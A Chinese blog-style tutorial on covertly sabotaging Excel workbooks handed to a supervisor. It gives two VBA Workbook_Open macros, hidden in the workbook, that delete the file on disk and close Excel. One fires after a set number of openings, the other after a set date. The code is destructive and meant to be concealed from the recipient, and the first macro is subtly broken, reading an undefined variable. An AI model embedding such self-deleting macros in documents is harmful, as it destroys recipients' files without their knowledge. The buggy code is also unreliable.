在工作办公的时候，有时自己辛辛苦苦做出来一些重要文档，不想随便给人，毕竟是自己花了时间和精力去做的。但是，有时你的上级领导又强压着你发给他，所以又不得不给。这样自己的劳动成果，就廉价的变成他人的了。
如果，自己给工作表区域、工作表或者工作簿加上一个密码，这个又太明显的显示你在防着他。如何不知不觉的让这个表失效，就是一个比较有讲究的学问了。
这里简单的列举几个方法，大家有时间和兴趣的，可以试试。
复制代码，
如：限制工作簿的使用次数，当打开次数超过规定时，自动关闭并删除文件。
'程序需要放在ThisWorkbook
Private Sub Workbook_Open()
Dim counter As Long
Dim term As Long
cs = GetSetting("hhh", "budget", "使用次数", "")
If cs = "" Then
term = 1 '限制使用1次,自己修改
MsgBox "本工作簿只能使用" & term & "次" & vbCrLf & "超过次数将自动销毁!", vbExclamation
SaveSetting "hhh", "budget", "使用次数", term
Else
counter = Val(chk) - 1
MsgBox "你还能使用" & counter & "次,请及时注册!", vbExclamation
SaveSetting "hhh", "budget", "使用次数", counter
If counter <= 0 Then
DeleteSetting "hhh", "budget", "使用次数"
killme
End If
End If
End Sub
Public Sub killme()
Application.DisplayAlerts = False
ActiveWorkbook.ChangeFileAccess xlReadOnly
Kill ActiveWorkbook.FullName
Application.Quit '连程序一块关闭
End Sub
另一个如：限制工作簿的使用时间，当打开时间超过规定时，自动关闭并删除文件
代码如下：
Private Sub Workbook_Open()
If Date >= "2020-4-1" Then
Application.DisplayAlerts = False
MsgBox " " & vbCr & " "
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
End If
End Sub
这个代码的意思是，使用了工作簿打开事件，就是工作簿打开时执行相关代码。它设定的自*条件是，当前电脑时间大于等于2020年4月1日时，直接销毁。时间可以根据自身需要进行相应调整
不过，这里有个缺陷，就是对方的默认宏要是启动的，如果对方宏是禁用的，会失效。
